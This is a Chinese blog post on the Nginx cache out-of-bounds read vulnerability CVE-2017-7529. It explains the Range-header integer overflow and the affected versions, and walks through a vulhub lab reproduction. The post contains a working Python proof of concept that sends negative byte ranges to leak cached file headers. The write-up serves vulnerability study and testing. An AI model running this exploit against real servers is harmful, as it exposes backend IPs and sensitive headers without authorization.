(CVE-2017-7529)Nginx 越界读取缓存漏洞

CVE-2017-7529Nginx越界读取缓存漏洞POC 漏洞影响 低危,造成信息泄露,暴露真实ip等 实验内容 漏洞原理 通过查看patch确定问题是由于对http header中range域处理不当造成,焦点在ngx_http_range_parse 函数中的循环: HTTP头部range域的内容大约为Range: bytes=4096-8192bytes=-字符串指针p中即为“bytes=”后面的内容 这段代码是要把“-”两边的数字取出分别赋值给 start 和 end 变量标记读取文件的偏移和结束位置。 对于一般的页面文件这两个值怎么玩都没关系。但对于有 阅读详情

一.漏洞原理

Nginx在反向代理站点的时候,通常会将一些文件进行缓存,特别是静态文件。缓存的部分存储在文件中,每个缓存文件包括"文件头"+“HTTP返回包头”+“HTTP返回包体”。如果二次请求命中了该缓存文件,则Nginx会直接将该文件中的"HTTP返回包体"返回给用户。
如果我的请求中包含Range头,Nginx将会根据我指定的start和end位置,返回指定长度的内容。而如果我构造了两个负的位置,如(-600, -9223372036854774591),将可能读取到负位置的数据。如果这次请求又命中了缓存文件,则可能就可以读取到缓存文件中位于"HTTP返回包体"前的"文件头"、"HTTP返回包头"等内容。
反向代理:说白了就是用户访问nginx反向代理服务器即可访问到目标服务器的内容,反向代理服务器分别存放了目标服务器ABC各自的数据,因此解决了集群不知道先访问谁的问题,但对于用户而言访问代理服务器相当于访问目的服务器
正向代理:就是自己挂个国外或者国内服务器(梯子),然后访问资源

二.漏洞详情

该漏洞影响所有 0.5.6 - 1.13.2版本内默认配置模块的Nginx只需要开启缓存攻击者即可发送恶意请求进行远程攻击造成信息泄露。当Nginx服务器使用代理缓存的情况下攻击者通过利用该漏洞可以拿到服务器的后端真实IP或其他敏感信息。
漏洞原因:是由于对http header中range域处理不当造成。主要代码是ngx_http_range_parse函数中的循环。
了解到HTTP头部range域的表示方式是:bytes=<start>-<end> 范围大概是: bytes=4096-8192,字符串指针p的内容即为bytes的范围。
这段代码是要把“-”两边的数字取出分别赋值给start和end变量,标记读取文件的偏移和结束位置。
也就是说bytes=-这个范围内读取到的是缓存文件内容本身。假如这个缓存文件是有文件头,把start设置成负数呢?很好理解,那么它读取的位置就会往前面移动,导致文件头的信息也会被读取出来。

三.漏洞影响版本

Nginx version 0.5.6 - 1.13.2
修复版本
Nginx version 1.13.3, 1.12.1

四.漏洞复现

复现环境:vulhub
1.开启该环境
命令:docker-compose up -d
在这里插入图片描述
2.打开网址
网址:http://127.0.0.1:8080
在这里插入图片描述
即可访问到默认页面,这个页面实际上是反向代理的8081端口的内容
3.利用POC,将代码复制到1.py里面,修改your-ip为自己的ip
POC如下:

#!/usr/bin/env python
import sys
import requests
if len(sys.argv)<2:
print("%s url"%(sys.argv[0]))
print("eg: python %s http://your-ip:8080/"%(sys.argv[0]))
 sys.exit()
headers ={
'User-Agent':"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240"
}
offset =605
url = sys.argv[1]
file_len = len(requests.get(url, headers=headers).content)
n = file_len + offset
headers['Range']="bytes=-%d,-%d"%(
 n,0x8000000000000000- n)
r = requests.get(url, headers=headers)
print(r.text)

在这里插入图片描述
在这里插入图片描述

Nginx越界读取缓存漏洞(CVE-2017-7529) 前言 Vulhub是一个基于docker和docker-compose的漏洞环境集合,进入对应目录并执行一条语句即可启动一个全新的漏洞环境,让漏洞复现变得更加简单,让安全研究者更加专注于漏洞原理本身 Voulhub靶机平台环境搭建和使用: https://blog.youkuaiyun.com/qq_41832837/article/details/103948358 目录: 漏洞原理 漏洞详情 漏洞复现 ... 阅读详情

相关推荐

利用Vulnhub复现漏洞 - Nginx越界读取缓存漏洞(CVE-2017-7529)

Nginx越界读取缓存漏洞(CVE-2017-7529)Vulnhub官方复现教程漏洞原理复现过程启动环境漏洞复现 Vulnhub官方复现教程 https://vulhub.org/#/environments/nginx/CVE-2017-7529/ 漏洞原理 Nginx在反向代理站点的时候,通常会将一些文件进行缓存,特别是静态文件。缓存的部分存储在文件中,每个缓存文件包括“文件头”+“HTTP...

JiangBuLiu的博客 3037

Nginx越界读取缓存漏洞 CVE-2017-7529 漏洞复现

Nginx越界读取缓存漏洞(CVE-2017-7529) by ADummy 0x00利用路线 ​ POC验证—>读取到缓存文件中位于“http返回包体”前的“文件头”、“http返回包头”等内容 0x01漏洞介绍 ​ Nginx在反向代理站点的时候,通常会将一些文件进行缓存,特别是静态文件。缓存的部分存储在文件中,每个缓存文件包括“文件头”+“HTTP返回包头”+“HTTP返回包体”。如果二次请求命中了该缓存文件,则Nginx会直接将该文件中的“HTTP返回包体”返回给用户。 如果我的请求

ADummy的博客 1604

Nginx CVE-2017-7529漏洞深度解析:Range越界读取与缓存文件结构风险

HTTP Range请求是Web分片传输的基础机制,其核心依赖Content-Range响应头与服务端字节偏移计算的严格一致性。当反向代理服务器(如Nginx)在缓存层对Range请求处理存在物理地址校验缺陷时,会引发缓存文件元数据区的非预期读取——这并非内存越界,而是文件I/O层面的指针错位。该问题直接导致历史响应头(如Set-Cookie、X-Auth-Token)从缓存二进制结构中泄露,技术本质属于缓存一致性失效与响应头复用逻辑缺陷的叠加。典型场景覆盖大文件下载、视频流分片、静态资源CDN化等广泛使用

weixin_30596343的博客 588

Nginx越界读取缓存漏洞分析CVE-2017-7529

CVE-2017-7529 Nginx越界读取缓存漏洞 Nginx在反向代理站点的时候,通常会将一些文件进行缓存,特别是静态文件。缓存的部分存储在文件中,每个缓存文件包括“文件头”+“HTTP返回包头”+“HTTP返回包体”。如果二次请求命中了该缓存文件,则Nginx会直接将该文件中的“HTTP返回包体”返回给用户。 漏洞分析 如果我的请求中包含Range头,Nginx将会根据我指定的sta...

qq_43571759的博客 909

0x07 Nginx越界读取缓存漏洞 CVE-2017-7529 复现

表示“部分内容”(Partial Content),通常是在服务器处理了部分范围请求时返回的。我用这个poc遇到目标进行302重定向没有获取到目标信息,然后我又改了一下。

weixin_43263566的博客 923

Nginx越界读取缓存漏洞复现(CVE-2017-7529)

漏洞简介 漏洞编号: CVE-2017-15715 漏洞影响范围: Nginx version 0.5.6 - 1.13.2 漏洞原理: Nginx在反向代理站点的时候,通常会将一些文件进行缓存,特别是静态文件。缓存的部分存储在文件中,每个缓存文件包括“文件头”+“HTTP返回包头”+“HTTP返回包体”。如果二次请求命中了该缓存文件,则Nginx会直接将该文件中的“HTTP返回包体”返回给用户。 如果我的请求中包含Range头,Nginx将会根据我指定的start和end位置,返回指定长度的内容。而如果我

qq_34853514的博客 648

Nginx越界读取缓存漏洞CVE-2017-7529(参考peiqi文库以及gpt)

如果我的请求中包含Range头,Nginx将会根据我指定的start和end位置,返回指定长度的内容。如果这次请求又命中了缓存文件,则可能就可以读取到缓存文件中位于“HTTP返回包体”前的“文件头”、“HTTP返回包头”等内容。缓存的部分存储在文件中,每个缓存文件包括“文件头”+“HTTP返回包头”+“HTTP返回包体”。bytes=-%d1,-%d1代表的是从文章末尾第d1个字节开始读,一直读到从文章末尾第d2个字节的位置,由于d2数字赋值较大,会越界读取服务器本不会加载的内容。把一整块乱七八糟的东西。

2301_81434523的博客 869

CVE-2017-7529 Nginx越界读取缓存漏洞

目录漏洞描述影响版本漏洞环境搭建漏洞原理漏洞利用漏洞加固参考链接 漏洞描述   从0.5.6到1.13.2(含)的Nginx版本容易受到nginx范围过滤器模块中整数溢出漏洞的攻击,从而导致特制请求触发的潜在敏感信息泄漏。 影响版本 Nginx 0.5.6 – 1.13.2 漏洞环境搭建 使用docker 启动vulhub中的CVE-2017-7529环境 docker快速入门以及漏洞环境搭建 漏洞原理 Nginx在反向代理站点的时候,通常会将一些文件进行缓存,特别是静态文件。缓存的部分存储在文件中,

alert['Hello World'] 4722

【Security】Nginx越界读取缓存漏洞(CVE-2017-7529)分析

本文介绍Nginx越界读取缓存漏洞(CVE-2017-7529)的技术细节与实践应用。该漏洞源于范围过滤模块中的整数溢出,导致缓存响应处理不当,可能泄露敏感元数据如后端IP。文章从引言入手,阐述漏洞背景与严重性;随后深入原理剖析,解释HTTP Range机制、溢出成因及缓存泄露路径;并总结实践案例,提供带注释的POC代码与测试思路;最后讨论影响、缓解及最佳实践。

等风来 1006

手把手教你用VMware虚拟机搭建PCAN开发环境:从Ubuntu安装到CAN通讯实战

本文详细指导如何在VMware虚拟机中搭建PCAN开发环境,涵盖从Ubuntu系统安装、VMware精细配置、PCAN-USB设备直通,到Linux驱动编译、can-utils工具集使用及完整CAN通讯测试的全过程。通过实战步骤与故障排查技巧,帮助开发者快速构建稳定高效的CAN总线开发与测试沙盒,特别适合车载诊断与嵌入式通讯应用。

weixin_29216353的博客 223

超越PSPNet:PPM模块在医疗影像分割中的创新应用实验

本文探讨了PPM模块在医疗影像分割中的创新应用,通过定制化调整和优化策略显著提升分割精度。针对医疗影像的多尺度病灶特点,提出了动态尺度选择和交叉尺度融合模块(CSFM),结合PyTorch实现细节,使小病灶检测召回率提升11.3%。实验显示优化后的模型mIoU达到78.6%,较基线提升9.2个百分点,同时满足实时处理需求。

u9v0w的博客 219

Nginx CVE-2017-7529数组越界读取缓存漏洞

Nginx CVE-2017-7529数组越界读取缓存漏洞 漏洞原理:传送门 实验环境 主机 角色 IP centos8 漏洞靶机 192.168.1.80 windows10 攻击机 192.168.1.120 实验过程 启动漏洞靶机centos8 # 进入vulhub目录 cd /usr/sbin/vulhub/CVE-2017-7529/ # 开启docker服务 service docker start # 创建docker镜像 docker-compose build #

qq_43665434的博客 491

vuecil3+版本下,兼容ie等不支持es6的低版本浏览器

*综上,完成兼容性涉及到的配置的文件有,对应在页面中查看代码,就不单独附代码了:main.js。

yhr0322的博客 833

nginx越界读取缓存漏洞(CVE-2017-7529)

主要是因为在通过range读取缓存的时候,当我们构造了两个负值得位置,则我们可以读取到缓存文件中比敏感的服务器信息。Range: bytes=500- //表示从第 500 字节开始到文件结束部分的内容。Range: bytes=500-999 //表示第 500-999 字节范围的内容。Range: bytes=500-600,601-999 //同时指定几个范围。Range: bytes=-500 // 表示最后 500 字节的内容。在不影响业务的前提下,建议禁用multipart range功能。

u013008898的博客 1040

deepseek本地部署及应用部署指南

如果你找到的日志是[send] via NET/IB/0,则表示网络通信是通过IB网络的,但是没有开启GDRDMA技术,则会有大致5%的性能损耗(网传,未实测)。新增的环境变量配置,主要用于启用IB网络通信,而非使用以太网进行通信,详细的每一个参数的具体含义,可以在英伟达NCCL的官方网站上找到说明。下一步,我会对已经完成部署的模型进行压测,来探索系统的性能极限在哪里,以及如何在生产环境中何如进行进一步的性能优化,期待你的关注。

weixin_39797121的博客 2624

VC Spyglass CDC实战:如何快速定位和解决重汇聚问题(附详细调试步骤)

本文深入探讨了在SoC设计中利用VC Spyglass进行CDC验证时,如何高效定位和解决棘手的重汇聚问题。通过实战演练,详细解析了重汇聚的本质、VC Spyglass的检测逻辑,并提供了从报告筛选、GUI原理图分析到制定设计修复或约束豁免方案的全套调试步骤,帮助工程师快速攻克这一常见验证难题。

weixin_29219539的博客 753
上一篇: (CVE-2017-7504)JBoss 4.x JBossMQ JMS 反序列化漏洞
下一篇: Nginx文件名逻辑漏洞(CVE-2013-4547)
qieziwa(boy)
博客等级 码龄7年 5710粉丝 160原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值